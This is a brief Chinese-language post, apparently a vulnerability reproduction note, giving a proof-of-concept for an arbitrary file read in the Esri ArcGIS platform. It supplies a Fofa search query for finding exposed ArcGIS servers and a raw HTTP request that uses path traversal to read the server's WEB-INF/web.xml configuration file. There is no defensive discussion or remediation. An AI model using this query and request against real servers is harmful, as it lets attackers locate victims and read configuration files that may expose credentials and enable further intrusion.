ArcGIS地理空间平台 任意文件读取漏洞复现及POC

Fofa：

app="esri-ArcGIS"

POC：

GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: keep-alive